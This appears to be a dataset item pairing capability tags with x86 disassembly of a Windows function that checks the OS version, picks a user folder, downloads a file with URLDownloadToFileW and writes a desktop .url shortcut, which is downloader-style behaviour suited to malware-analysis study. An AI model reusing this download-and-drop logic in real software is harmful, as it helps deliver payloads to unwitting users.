Function at 0x4227b0
Capabilities:
Check os version
Download url
Persist via run registry key
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x466f60
mov eax, dword fs:[0]
push eax
sub esp, 0x5c0
mov eax, dword [0x481410]
xor eax, ebp
mov dword [ebp - 0x24], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x548], ecx
mov byte [ebp - 0x1d], 0
push 0x11c
push 0
lea eax, [ebp - 0x144]
push eax
call fcn.0044cfe0
add esp, 0xc
mov dword [ebp - 0x144], 0x11c
lea ecx, [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x422837
mov dword [ebp - 0x144], 0x114
lea edx, [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x422837
jmp 0x4230fa
cmp dword [ebp - 0x140], 6
jb 0x422844
mov byte [ebp - 0x1d], 1
lea ecx, [ebp - 0x14]
call fcn.0040c860
mov dword [ebp - 4], 0
push 0x8f
lea ecx, [ebp - 0x14]
call fcn.0040cbe0
lea ecx, [ebp - 0x10]
call fcn.0040c860
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x14]
call fcn.0040c980
mov esi, eax
push 0x2f
lea ecx, [ebp - 0x14]
call fcn.0040bf10
sub esi, eax
sub esi, 1
push esi
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
call fcn.0040bf60
mov byte [ebp - 4], 2
movzx ecx, byte [ebp - 0x1d]
test ecx, ecx
jne 0x422ada
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerShell_Folders
lea ecx, [ebp - 0x3a0]
call fcn.00401070
mov byte [ebp - 4], 3
push 0x2001f
push 0x80000001
lea edx, [ebp - 0x3a0]
push edx
lea ecx, [ebp - 0x14c]
call fcn.004095f0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x3a0]
call fcn.00418350
push str.My_Pictures
lea ecx, [ebp - 0x3d8]
call fcn.00401ee0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x3bc]
call fcn.004010d0
mov dword [ebp - 0x54c], eax
mov eax, dword [ebp - 0x54c]
mov dword [ebp - 0x550], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0x550]
push ecx
lea edx, [ebp - 0x3d8]
push edx
lea eax, [ebp - 0x3f4]
push eax
lea ecx, [ebp - 0x14c]
call fcn.00409660
mov dword [ebp - 0x554], eax
mov ecx, dword [ebp - 0x554]
mov dword [ebp - 0x558], ecx
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x558]
call fcn.00401ec0
push eax
lea ecx, [ebp - 0x150]
call fcn.0040c8a0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x3f4]
call fcn.00401100
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3bc]
call fcn.00401100
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3d8]
call fcn.00401100
lea ecx, [ebp - 0x150]
call fcn.0040c980
test eax, eax
jne 0x4229af
push 0x46e324
lea ecx, [ebp - 0x150]
call fcn.00437eb0
push 0x24
lea edx, [ebp - 0x3f8]
push edx
mov ecx, dword [ebp - 0x548]
call fcn.00422290
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
mov dword [ebp - 0x560], eax
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0x560]
call fcn.00436ad0
push eax
push str._SystemRoot_
lea ecx, [ebp - 0x150]
call fcn.00426350
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3f8]
call fcn.0040c920
push 0x46e344
lea ecx, [ebp - 0x3fc]
call fcn.00436980
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x3fc]
push edx
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x400]
push ecx
call fcn.00426560
add esp, 0xc
mov dword [ebp - 0x564], eax
mov edx, dword [ebp - 0x564]
mov dword [ebp - 0x568], edx
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x568]
push eax
lea ecx, [ebp - 0x404]
push ecx
call fcn.00426560
add esp, 0xc
mov dword [ebp - 0x56c], eax
mov edx, dword [ebp - 0x56c]
mov dword [ebp - 0x570], edx
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x570]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040bef0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x404]
call fcn.0040c920
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x400]
call fcn.0040c920
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3fc]
call fcn.0040c920
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x150]
call fcn.0040c920
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x14c]
call fcn.00409590
jmp 0x422c15
push str.AppDatalocalLow
lea ecx, [ebp - 0x408]
call fcn.00436980
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x408]
push ecx
push 0x28
lea edx, [ebp - 0x40c]
push edx
mov ecx, dword [ebp - 0x548]
call fcn.00422290
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x574]
mov dword [ebp - 0x578], eax
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0x578]
push ecx
lea edx, [ebp - 0x154]
push edx
call fcn.00426560
add esp, 0xc
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x40c]
call fcn.0040c920
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x408]
call fcn.0040c920
push 0x46e35c
lea ecx, [ebp - 0x410]
call fcn.00436980
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x410]
push ecx
lea edx, [ebp - 0x154]
push edx
lea eax, [ebp - 0x414]
push eax
call fcn.00426560
add esp, 0xc
mov dword [ebp - 0x57c], eax
mov ecx, dword [ebp - 0x57c]
mov dword [ebp - 0x580], ecx
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x580]
push edx
lea eax, [ebp - 0x418]
push eax
call fcn.00426560
add esp, 0xc
mov dword [ebp - 0x584], eax
mov ecx, dword [ebp - 0x584]
mov dword [ebp - 0x588], ecx
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x588]
push edx
lea ecx, [ebp - 0x10]
call fcn.0040bef0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x418]
call fcn.0040c920
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x414]
call fcn.0040c920
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x410]
call fcn.0040c920
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x154]
call fcn.0040c920
push 0
push 0
lea ecx, [ebp - 0x10]
call fcn.00436ad0
push eax
lea ecx, [ebp - 0x14]
call fcn.00436ad0
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileW
test eax, eax
jge 0x422c62
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.0040c920
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0040c920
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040c920
jmp 0x4230fa
lea ecx, [ebp - 0x1c]
call fcn.00410210
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x1c]
call fcn.0042cc80
push eax
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
lea ecx, [ebp - 0x1c]
call fcn.00436ad0
test eax, eax
je 0x4230bf
mov dword [ebp - 0x158], 0
lea ecx, [ebp - 0x1c]
call fcn.00436ad0
mov dword [ebp - 0x58c], eax
lea eax, [ebp - 0x264]
push eax
push 0x8000
mov ecx, dword [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x58c]
push edx
mov eax, dword [ebp - 0x58c]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
call edx
test eax, eax
jne 0x4230bf
lea ecx, [ebp - 0x384]
call fcn.0040c860
mov byte [ebp - 4], 0x1a
push 0x8e
lea ecx, [ebp - 0x384]
call fcn.0040cbe0
lea ecx, [ebp - 0x2f0]
call fcn.0040c860
mov byte [ebp - 4], 0x1b
push 0x8d
lea ecx, [ebp - 0x2f0]
call fcn.0040cbe0
push 1
push 3
lea ecx, [ebp - 0x37c]
call fcn.00426ee0
mov byte [ebp - 4], 0x1c
lea eax, [ebp - 0x37c]
test eax, eax
je 0x422d40
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x590], ecx
jmp 0x422d4a
mov dword [ebp - 0x590], 0
push str._000214A0_0000_0000_C000_000000000046__r
mov edx, dword [ebp - 0x590]
push edx
call fcn.00439fe0
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x422d79
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x594], ecx
jmp 0x422d83
mov dword [ebp - 0x594], 0
push str.Prop319_2_r
mov edx, dword [ebp - 0x594]
push edx
call fcn.00439fe0
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x422db2
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x598], ecx
jmp 0x422dbc
mov dword [ebp - 0x598], 0
push str._InternetShortcut__r
mov edx, dword [ebp - 0x598]
push edx
call fcn.00439fe0
add esp, 8
lea eax, [ebp - 0x37c]
test eax, eax
je 0x422deb
lea ecx, [ebp - 0x37c]
add ecx, 8
mov dword [ebp - 0x59c], ecx
jmp 0x422df5
mov dword [ebp - 0x59c], 0
push 0x46e3ac
lea ecx, [ebp - 0x2f0]
call fcn.00436ad0
push eax
lea ecx, [ebp - 0x49c]
call fcn.004270c0
mov dword [ebp - 0x5a0], eax
mov edx, dword [ebp - 0x5a0]
mov dword [ebp - 0x5a4], edx
mov byte [ebp - 4], 0x1d
mov ecx, dword [ebp - 0x5a4]
call fcn.00436ad0
push eax
push str.URL
mov eax, dword [ebp - 0x59c]
push eax
call fcn.00439fe0
add esp, 8
push eax
call fcn.00439fe0
add esp, 8
push eax
call fcn.00439fe0
add esp, 8
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x49c]
call fcn.004270f0
lea ecx, [ebp - 0x37c]
test ecx, ecx
je 0x422e83
lea edx, [ebp - 0x37c]
add edx, 8
mov dword [ebp - 0x5a8], edx
jmp 0x422e8d
mov dword [ebp - 0x5a8], 0
push 0x46e3b8
lea ecx, [ebp - 0x10]
call fcn.00436ad0
push eax
lea ecx, [ebp - 0x520]
call fcn.004270c0
mov dword [ebp - 0x5ac], eax
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x5b0], eax
mov byte [ebp - 4], 0x1e
mov ecx, dword [ebp - 0x5b0]
call fcn.00436ad0
push eax
push str.IconFile
mov ecx, dword [ebp - 0x5a8]
push ecx
call fcn.00439fe0
add esp, 8
push eax
call fcn.00439fe0
add esp, 8
push eax
call fcn.00439fe0
add esp, 8
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x520]
call fcn.004270f0
lea edx, [ebp - 0x37c]
test edx, edx
je 0x422f18
lea eax, [ebp - 0x37c]
add eax, 8
mov dword [ebp - 0x5b4], eax
jmp 0x422f22
mov dword [ebp - 0x5b4], 0
push str.IconIndex0
mov ecx, dword [ebp - 0x5b4]
push ecx
call fcn.00439fe0
add esp, 8
mov edx, dword [ebp - 0x260]
push edx
lea ecx, [ebp - 0x380]
call fcn.0040c8a0
mov byte [ebp - 4], 0x1f
push str..url
lea eax, [ebp - 0x384]
push eax
push 0x46e3e0
lea ecx, [ebp - 0x524]
push ecx
call fcn.004266c0
add esp, 0xc
mov dword [ebp - 0x5b8], eax
mov edx, dword [ebp - 0x5b8]
mov dword [ebp - 0x5bc], edx
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0x5bc]
push eax
lea ecx, [ebp - 0x528]
push ecx
call fcn.00426610
add esp, 0xc
mov dword [ebp - 0x5c0], eax
mov edx, dword [ebp - 0x5c0]
mov dword [ebp - 0x5c4], edx
mov byte [ebp - 4], 0x21
mov eax, dword [ebp - 0x5c4]
push eax
lea ecx, [ebp - 0x380]
call fcn.00436a00
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x528]
call fcn.0040c920
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x524]
call fcn.0040c920
push 1
lea ecx, [ebp - 0x2ec]
call fcn.00427120
mov byte [ebp - 4], 0x22
push 0x40
push 0x12
lea ecx, [ebp - 0x380]
call fcn.00436ad0
push eax
lea ecx, [ebp - 0x2ec]
call fcn.00427240
lea ecx, [ebp - 0x544]
push ecx
lea ecx, [ebp - 0x37c]
call fcn.00427010
mov dword [ebp - 0x5c8], eax
mov edx, dword [ebp - 0x5c8]
mov dword [ebp - 0x5cc], edx
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x5cc]
call fcn.00407cc0
push eax
lea eax, [ebp - 0x2ec]
push eax
call fcn.00439fe0
add esp, 8
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x544]
call fcn.00402810
lea ecx, [ebp - 0x2ec]
call fcn.00427290
mov ecx, dword [ebp - 0x548]
mov byte [ecx + 0x14c], 1
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x2ec]
call fcn.00425f70
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x380]
call fcn.0040c920
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x37c]
call fcn.00425f40
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x2f0]
call fcn.0040c920
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x384]
call fcn.0040c920
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x1c]
call fcn.00438e80
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x18]
call fcn.0040c920
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x10]
call fcn.0040c920
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.0040c920
xor edx, edx
jne 0x4227e2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x24]
xor ecx, ebp
call fcn.0044c7b8
mov esp, ebp
pop ebp
ret